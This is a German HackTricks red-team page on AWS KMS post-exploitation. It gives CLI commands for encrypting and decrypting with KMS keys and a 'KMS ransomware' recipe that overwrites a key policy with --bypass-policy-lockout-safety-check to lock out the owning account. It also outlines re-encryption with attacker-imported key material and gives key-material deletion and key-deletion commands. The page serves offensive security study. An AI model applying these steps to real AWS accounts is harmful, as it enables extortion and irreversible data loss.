AWS - KMS Post Exploitation

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

KMS

Für weitere Informationen siehe:

pageAWS - KMS Enum

Informationen verschlüsseln/entschlüsseln

  • Verwendung eines symmetrischen Schlüssels

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Verwendung eines asymmetrischen Schlüssels:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie von Schlüsseln ändern und seinem Konto Zugriff darauf gewähren, wodurch der Zugriff des legitimen Kontos entfernt wird.

Dann können die Benutzer des legitimen Kontos nicht auf Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, was einen einfachen, aber effektiven Ransomware-Angriff auf das Konto darstellt.

Beachten Sie, dass AWS-Verwaltungsschlüssel nicht von diesem Angriff betroffen sind, nur Kundenspezifische Verwaltungsschlüssel.

Beachten Sie auch die Notwendigkeit, den Parameter --bypass-policy-lockout-safety-check zu verwenden (das Fehlen dieser Option in der Weboberfläche macht diesen Angriff nur über die Befehlszeile möglich).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Beachten Sie, dass wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren und dann von diesem externen Konto aus versuchen, eine neue Richtlinie festzulegen, um dem ursprünglichen Konto den Zugriff zurückzugeben, werden Sie nicht in der Lage sein.

Generischer KMS-Ransomware

Globale KMS-Ransomware

Es gibt einen anderen Weg, um eine globale KMS-Ransomware durchzuführen, der die folgenden Schritte umfassen würde:

  • Erstellen Sie einen neuen Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial

  • Verschlüsseln Sie ältere Daten erneut, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.

  • Löschen Sie den KMS-Schlüssel

  • Jetzt kann nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln

Schlüssel zerstören

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Beachten Sie, dass AWS jetzt verhindert, dass die zuvor genannten Aktionen von einem anderen Konto aus durchgeführt werden:

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated